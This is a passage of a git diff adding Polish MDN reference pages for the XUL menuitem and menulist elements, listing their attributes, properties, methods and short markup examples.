href="https://developer.mozilla.org/pl/docs/XUL/Własność/pack">pack</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/persist">persist</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ref">ref</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/resource">resource</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/statusText">statusText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/style">style</a></span></code>, ,, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltip">tooltip</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltipText">tooltipText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/top">top</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/width">width</a></span></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br> <small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Klasy_styl.C3.B3w" name="Klasy_styl.C3.B3w"> Klasy stylów </h3>
+<p></p><dl>
+ <dt>
+ <code><a href="https://developer.mozilla.org/pl/docs/XUL/Styl/menuitem-iconic">menuitem-iconic</a></code></dt>
+ <dd>
+ Zastosuj tą klasę, aby mieć wyświetlony obrazek na <code><a href="/pl/docs/Mozilla/Tech/XUL/menuitem" title="menuitem">menuitem</a></code>. Określa obrazek za pomocą arybutu <code id="a-image"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/image">image</a></code>.</dd>
+</dl>
+<dl>
+ <dt>
+ <code><a href="https://developer.mozilla.org/pl/docs/XUL/Styl/menuitem-non-iconic">menuitem-non-iconic</a></code></dt>
+ <dd>
+ Normalnie, <code><a href="/pl/docs/Mozilla/Tech/XUL/menuitem" title="menuitem">menuitem</a></code> posiada margines z lewej strony na obrazek lub znak zaznaczenia. Ta klasa może zostać użyta do usunięcia tego marginesu, więc ta pozycja menu pojawi się z lewej strony brzegu menupopup.</dd>
+</dl>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<dl><dt> Elementy
+</dt><dd> <code><a href="/pl/docs/Mozilla/Tech/XUL/menu" title="menu">menu</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/menubar" title="menubar">menubar</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/menulist" title="menulist">menulist</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/menupopup" title="menupopup">menupopup</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/menuseparator" title="menuseparator">menuseparator</a></code> </dd></dl>
+<dl><dt> Interfejsy
+</dt><dd> <a href="pl/NsIAccessibleProvider">nsIAccessibleProvider</a>, <a href="pl/NsIDOMXULSelectControlItemElement">nsIDOMXULSelectControlItemElement</a>
+</dd></dl>
+<p><br>
+</p><p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/menulist/index.html b/files/pl/mozilla/tech/xul/menulist/index.html
new file mode 100644
index 0000000000..f27548b2fa
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/menulist/index.html
@@ -0,0 +1,476 @@
+---
+title: menulist
+slug: Mozilla/Tech/XUL/menulist
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/menulist
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Element, który stosujemy w przypadku rozwijanej listy wyboru. Użytkownik może zaznaczyć jedną z pozycji wyświetlanych w elemencie <code>menulist</code>. Aktualnie zaznaczona pozycja zostanie wyświetlona na elemencie <code>menulist</code>. Aby utworzyć listę rozwijaną, umieść element <code><a href="/pl/docs/Mozilla/Tech/XUL/menupopup" title="menupopup">menupopup</a></code> wewnątrz <code>menulist</code> składający się z elementów wyboru <code><a href="/pl/docs/Mozilla/Tech/XUL/menuitem" title="menuitem">menuitem</a></code>.
+</p><p>Dodatkowe informacje są dostępne w <a href="pl/Kurs_XUL/Kontrolki_list">kursie XUL</a>.
+</p>
+<dl><dt> Atrybuty
+</dt><dd> <a href="#a-accesskey">accesskey</a>, <a href="#a-crop">crop</a>, <a href="#a-disableautoselect">disableautoselect</a>, <a href="#a-disabled">disabled</a>, <a href="#a-editable">editable</a>, <a href="#a-focused">focused</a>, <a href="#a-image">image</a>, <a href="#a-label">label</a>, <a href="#a-open">open</a>, <a href="#a-preference">preference</a>, <a href="#a-readonly">readonly</a>, <a href="#a-sizetopopup">sizetopopup</a>, <a href="#a-src">src</a>, <a href="#a-tabindex">tabindex</a>, <a href="#a-value">value</a>
+</dd></dl>
+<dl><dt> Własności
+</dt><dd> <a href="#p-accessible">accessible</a>, <a href="#p-crop">crop</a>, <a href="#p-description">description</a>, <a href="#p-disableautoselect">disableautoselect</a>, <a href="#p-disabled">disabled</a>, <a href="#p-editor">editor</a>, <a href="#p-menulist.inputField">inputField</a>, <a href="#p-label">label</a>, <a href="#p-menuBoxObject">menuBoxObject</a>, <a href="#p-menupopup">menupopup</a>, <a href="#p-open">open</a>, <a href="#p-selectedIndex">selectedIndex</a>, <a href="#p-selectedItem">selectedItem</a>, <a href="#p-src">src</a>, <a href="#p-tabIndex">tabIndex</a>, <a href="#p-value">value</a>
+</dd></dl>
+<dl><dt> Metody
+</dt><dd> <a href="#m-appendItem">appendItem</a>, <a href="#m-insertItemAt">insertItemAt</a>, <a href="#m-removeAllItems">removeAllItems</a>, <a href="#m-removeItemAt">removeItemAt</a>, <a href="#m-menulist.select">select</a>
+</dd></dl>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<pre> &lt;menulist&gt;
+ &lt;menupopup&gt;
+ &lt;menuitem label="Opcja 1" value="1"/&gt;
+ &lt;menuitem label="Opcja 2" value="2"/&gt;
+ &lt;menuitem label="Opcja 3" value="3"/&gt;
+ &lt;menuitem label="Opcja 4" value="4"/&gt;
+ &lt;/menupopup&gt;
+ &lt;/menulist&gt;
+</pre>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p>
+</p><div id="a-accesskey">
+
+<dl><dt> <code id="a-accesskey"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/accesskey">accesskey</a></code></dt>
+<dd> Typ: <i>znak</i>
+</dd><dd> Powinien być ustawiony na literę, która zostanie zastosowana jako klawisz dostępu. Litera ta powinna być jedną z liter, które są wyświetlane w etykiecie tekstowej (<code><code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code></code>) dla elementu. </dd></dl>
+<p><br>
+</p>
+<h4 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h4>
+<div class="float-right"><img alt="grafika:XUL_ref_accesskey_attr.png"></div>
+<pre>&lt;vbox&gt;
+ &lt;label value="Enter Name" accesskey="e" control="myName"/&gt;
+ &lt;textbox id="myName"/&gt;
+ &lt;button label="Cancel" accesskey="n"/&gt;
+ &lt;button label="Ok" accesskey="O"/&gt;
+&lt;/vbox&gt;
+</pre>
+<h4 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h4>
+<p>Atrybut <code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code>, atrybut <code id="a-acceltext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/acceltext">acceltext</a></code>
+</p> <p><br>
+</p><p><br>
+</p>
+
+
+</div>
+<div id="a-crop">
+
+<dl><dt> <code id="a-crop"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/crop">crop</a></code>
+</dt><dd> Typ: <i>jedna z poniższych wartości</i>
+</dd><dd> Jeśli etykieta elementu jest zbyt duża by zmieścić się w danym miejscu, to jej tekst zostanie skrócony po stronie określonej przy pomocy atrybutu <code>crop</code>. Wycięty fragment tekstu zostanie zastąpiony wielokropkiem. Jeśli kierunek pudełka jest określony w lewą stronę, to skrócenie tekstu nastąpi w tym samym kierunku (czyli z lewej strony):
+</dd></dl>
+<ul><li> <code>start</code>: Tekst będzie skrócony z lewej strony.
+</li><li> <code>end</code>: Tekst będzie skrócony z prawej strony.
+</li><li> <code>left</code>: <span title="This deprecated API should no longer be used, but will probably still work."><i class="icon-thumbs-down-alt"> </i></span> Tekst będzie skrócony z lewej strony.
+</li><li> <code>right</code>: <span title="This deprecated API should no longer be used, but will probably still work."><i class="icon-thumbs-down-alt"> </i></span> Tekst będzie skrócony z prawej strony.
+</li><li> <code>center</code>: Tekst będzie skrócony w środku, pokazując oba końce: początek i koniec normalnego tekstu. </li><li> <code>none</code>: Tekst nie będzie skrócony przy zastosowaniu wielokropka. Jednakże, tekst skrócony zostanie po prostu obcięty, jeśli będzie za duży. Strona skrócenia owego tekstu zależy od rozmieszczenia tekstu określonego w arkuszu stylów CSS.
+</li></ul>
+<pre class="eval"> menupopup &gt; menuitem, menupopup &gt; menu { max-width: none; }
+</pre>
+<p><br>
+</p><p><br>
+</p>
+
+
+</div>
+<div id="a-disableautoselect">
+
+<dl><dt> <code id="a-disableautoselect"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/disableautoselect">disableautoselect</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Jeśli ten atrybut jest <code>true</code> lub pominięty, zaznaczona pozycja w menu będzie aktualizowana dopasowując się do tego co użytkownik wprowadzi w polu tekstowym. Jeśli tekst nie dopasuje się do jakiejkolwiek pozycji na liście, to zaznaczenie zostanie wyczyszczone. Jeśli ten atrybut jest <code>false</code>, zaznaczenie nigdy nie zostanie zaktualizowane do dopasowania pola tekstowego. Ten atrybut zastosowany jest tylko do <code><a href="/pl/docs/Mozilla/Tech/XUL/menulist" title="menulist">menulist</a></code>, który jest zdolny do edycji.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-disabled">
+
+<dl><dt> <code id="a-disabled"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/disabled">disabled</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Określa, czy element jest wyłączony. Jeśli atrybut ten ma wartość <code>true</code>, to element będzie wyłączony. Wyłączone elementy zazwyczaj są wyszarzone. Jeśli element jest wyłączony, nie odpowiada na czynności użytkownika, nie może zostać na niego ustawiony focus, a zdarzenie <i>command</i> nie zostanie wywołane. </dd></dl>
+<div class="float-right"><img alt="grafika:XUL_ref_attr_disabled.png"></div>
+<pre>&lt;!-- Pole wyboru włącza/wyłącza przycisk --&gt;
+&lt;checkbox label="Enable button"
+ onclick="document.getElementById('buttRemove').disabled = this.checked"/&gt;
+&lt;button id="buttRemove" label="Remove All" disabled="true"/&gt;
+</pre>
+</div>
+<div id="a-editable">
+
+
+<dl>
+ <dt><code id="a-editable"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/editable">editable</a></code></dt>
+ <dd>Typ:<em>boolean</em></dd>
+ <dd>Sygnalizuje, która wartość <code><a href="/pl/docs/Mozilla/Tech/XUL/menulist" title="menulist">menulist</a></code> może być modyfikowana poprzez wpis bezpośrednio do wartości pola. This is rendered as a textbox with a drop-down arrow beside it. The user may enter text into the textbox or select one of the choices by clicking from the drop-down. If used in a tree, editable allows the content to be changed, especially useful when <code>type="checkbox"</code>.</dd>
+</dl>
+</div>
+<div id="a-focused">
+
+<dl><dt> <code id="a-focused"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/focused">focused</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Ten atrybut jest ustawiony na <code>true</code>, jeśli element jest aktywny (focused).
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-image">
+
+<dl><dt> <code id="a-image"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/image">image</a></code>
+</dt><dd> Typ: <i>adres URL obrazka</i>
+</dd><dd> Adres URL obrazka do wyświetlenia na elemencie. Jeśli ten atrybut zostanie opuszczony, to żaden obrazek nie zostanie wyświetlony. Pozycja obrazka jest określona przez atrybuty <code id="a-dir"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/dir">dir</a></code> i <code id="a-orient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/orient">orient</a></code>.
+</dd></dl>
+
+
+</div>
+<div id="a-label">
+
+<dl><dt> <code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Etykieta, która zostanie wyświetlona na elemencie. Jeśli zostanie on usunięty, to żaden tekst nie zostanie wyświetlony. </dd></dl>
+
+
+</div>
+<div id="a-open">
+
+<dl><dt> <code id="a-open"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/open">open</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Dla przycisków o <code id="a-type"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/type">type</a></code> ustawionym na <code>menu</code>, atrybut <code>open</code> jest ustawiany na <code>true</code>, kiedy menu jest otwarte. Atrybut <code>open</code> nie jest obecny, jeśli menu jest zamknięte.
+</dd></dl>
+<p><br>
+</p><p><br>
+</p>
+
+
+</div>
+<div id="a-preference">
+
+<dl><dt> <code id="a-preference"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/preference">preference</a></code>
+</dt><dd> Typ: <i>id elementu</i>
+</dd><dd> Łączy dany element z odpowiadającym mu elementem <code><a href="/pl/docs/Mozilla/Tech/XUL/preference" title="preference">preference</a></code>. Atrybut ten ma skutek tylko wewnątrz okna <code><a href="/pl/docs/Mozilla/Tech/XUL/prefwindow" title="prefwindow">prefwindow</a></code>. Wartość opcji (z elementu <code>preference</code>) zostanie zaktualizowana zgodnie z wartością własności <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/value">value</a></span></code> tego elementu.
+</dd></dl>
+<p><br>
+</p><p><br>
+</p>
+
+
+</div>
+<div id="a-readonly">
+
+<dl><dt> <code id="a-readonly"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/readonly">readonly</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Jeśli ustawiony jest na <code>true</code>, to użytkownik nie będzie mógł zmienić wartości elementu. Jednakże wartość wciąż może zostać zmodyfikowana poprzez skrypt.
+</dd></dl>
+
+
+</div>
+<div id="a-sizetopopup">
+
+
+<dl>
+ <dt><code id="a-sizetopopup"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sizetopopup">sizetopopup</a></code></dt>
+ <dd>Typ:<em>jedna z poniższych wartości</em></dd>
+ <dd>Indicates how the menu width and the <code><a href="/pl/docs/Mozilla/Tech/XUL/menupopup" title="menupopup">menupopup</a></code> width are determined. If the <code>sizetopopup</code> attribute is left out or set to <code>none</code>, the menu will be its preferred width and the popup may extend outside of this width, unaffected by the maximum width of the menu itself.</dd>
+</dl>
+
+<ul>
+ <li><code>none</code>: Szerokość okienka popup nie będzie ograniczało rozmiaru menu.</li>
+ <li><code>always</code>: Jeśli jest ustawiony na <code>always</code>, długość menu będzie taka sama jaka jest potrzebna dla elementu <code><a href="/pl/docs/Mozilla/Tech/XUL/menupopup" title="menupopup">menupopup</a></code>. Jeśli menu posiada maksymalna szerokość, to popup będzie miał tą samą szerokość.</li>
+</ul>
+</div>
+<div id="a-src">
+
+<dl>
+ <dt>
+ <code id="a-src"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/src">src</a></code></dt>
+ <dd>
+ Typ: <i>URL</i></dd>
+ <dd>
+ Adres URL zawartości do wyświetlenia w elemencie.</dd>
+</dl>
+
+<p> </p>
+</div>
+<div id="a-tabindex">
+
+<dl><dt> <code id="a-tabindex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tabindex">tabindex</a></code>
+</dt><dd> Typ: <i>integer</i>
+</dd><dd> Porządek dla przełączania elementów klawiszem Tab. Elementy o wyższym tabindex umieszczane są w dalszej części sekwencji przełączania.
+</dd></dl>
+
+
+</div>
+<div id="a-value">
+
+<dl>
+ <dt>
+ <code id="a-value"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/value">value</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Atrybut łańcucha znaków pozwalający na współpracę wartości danych z elementem. Nie jest stosowany dla określenia jakiegoś konkretnego celu, lecz można go wykorzystać w skrypcie do własnego użytku.</dd>
+</dl>
+
+<p></p>
+</div>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p>
+</p><div id="p-accessible">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/accessible">accessible</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ <a href="pl/NsIAccessible">nsIAccessible</a></i>
+ </dd>
+ <dd>
+ Zwraca obiekt dostępności dla elementu.</dd>
+</dl></div>
+<div id="p-crop">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/crop">crop</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-crop"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/crop">crop</a></code>.</dd>
+</dl></div>
+<div id="p-description">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/description">description</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Ustawia opis aktualnie zaznaczonej pozycji <code><a href="/pl/docs/Mozilla/Tech/XUL/menuitem" title="menuitem">menuitem</a></code>.</dd>
+</dl></div>
+<div id="p-disableautoselect">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/disableautoselect">disableautoselect</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-disableautoselect"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/disableautoselect">disableautoselect</a></code>.</dd>
+</dl></div>
+<div id="p-disabled">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/disabled">disabled</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-disabled"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/disabled">disabled</a></code>.</dd>
+</dl></div>
+<div id="p-editor">
+<dl>
+ <dt>
+ <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/menulist.editor">editor</a></dt>
+ <dd>
+ Typ:
+ <i>
+ <a href="pl/NsIEditor">nsIEditor</a></i>
+ </dd>
+ <dd>
+ Odwołanie do <a href="pl/NsIEditor">nsIEditor</a> dla edytowanego tekstu. Własność tylko do odczytu.</dd>
+</dl></div>
+<div id="p-menulist.inputField">
+<dl>
+ <dt>
+ <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/menulist.inputField">inputField</a></dt>
+ <dd>
+ Typ:
+ <i>
+ element textbox</i>
+ </dd>
+ <dd>
+ Odniesienie elementu <code><a href="/pl/docs/Mozilla/Tech/XUL/textbox" title="textbox">textbox</a></code> stosuje się dla list edycji menu. Ta własność jest tylko do odczytu i nakłada się tylko do montażu w <code><a href="/pl/docs/Mozilla/Tech/XUL/menulist" title="menulist">menulist</a></code>.</dd>
+</dl>
+
+<p> </p></div>
+<div id="p-label">
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/label">label</a></span></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Pobiera i ustawia wartość atrybutu <code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code>.
+</dd></dl>
+<p><br>
+</p>
+
+</div>
+<div id="p-menuBoxObject">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/menuBoxObject">menuBoxObject</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ <a href="pl/NsIMenuBoxObject">nsIMenuBoxObject</a></i>
+ </dd>
+ <dd>
+ Referencja do <a href="pl/NsIMenuBoxObject">nsIMenuBoxObject</a>, który implementuje menu.</dd>
+</dl></div>
+<div id="p-menupopup">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/menupopup">menupopup</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ element menupopup</i>
+ </dd>
+ <dd>
+ Referencja do <code><a href="/pl/docs/Mozilla/Tech/XUL/menupopup" title="menupopup">menupopup</a></code> stosowany przez <code><a href="/pl/docs/Mozilla/Tech/XUL/menulist" title="menulist">menulist</a></code>. Własność ta jest tylko do odczytu.</dd>
+</dl></div>
+<div id="p-open">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/open">open</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-open"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/open">open</a></code>.</dd>
+</dl></div>
+<div id="p-selectedIndex">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/selectedIndex">selectedIndex</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Zwraca indeks aktualnie zaznaczonej pozycji. Można zaznaczyć pozycję przypisując jej numer indeksu do własności. Przydzielając <code>-1</code> do tej własności, wszystkie pozycje zostaną odznaczone.</dd>
+</dl></div>
+<div id="p-selectedItem">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/selectedItem">selectedItem</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ element</i>
+ </dd>
+ <dd>
+ Podtrzymuje aktualnie zaznaczoną pozycję. Jeśli nie ma zaznaczonych aktualnie pozycji, to jej wartość równa będzie <code>null</code>. Możemy zaznaczyć pozycję poprzez ustawienie tej wartości. Zmiana zdarzenia będzie przesyłana do zaznaczonej pozycji, kiedy zmieniona zostanie jedna z tych własności, własność <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/selectedIndex">selectedIndex</a></span></code> lub zmieniona będzie przez użytkownika.</dd>
+</dl></div>
+<div id="p-src">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/src">src</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ URL</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-src"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/src">src</a></code>.</dd>
+</dl></div>
+<div id="p-tabIndex">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/tabIndex">tabIndex</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-tabindex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tabindex">tabindex</a></code>.</dd>
+</dl></div>
+<div id="p-value">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/value">value</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-value"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/value">value</a></code>.</dd>
+</dl></div>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0 0 10px 10px; padding: 0 10px; background: rgb(238, 238, 238); float: right; width: 250px;">
+<tbody>
+<tr>
+<td>
+<p><strong>Dziedziczy z elementu XUL</strong><br>
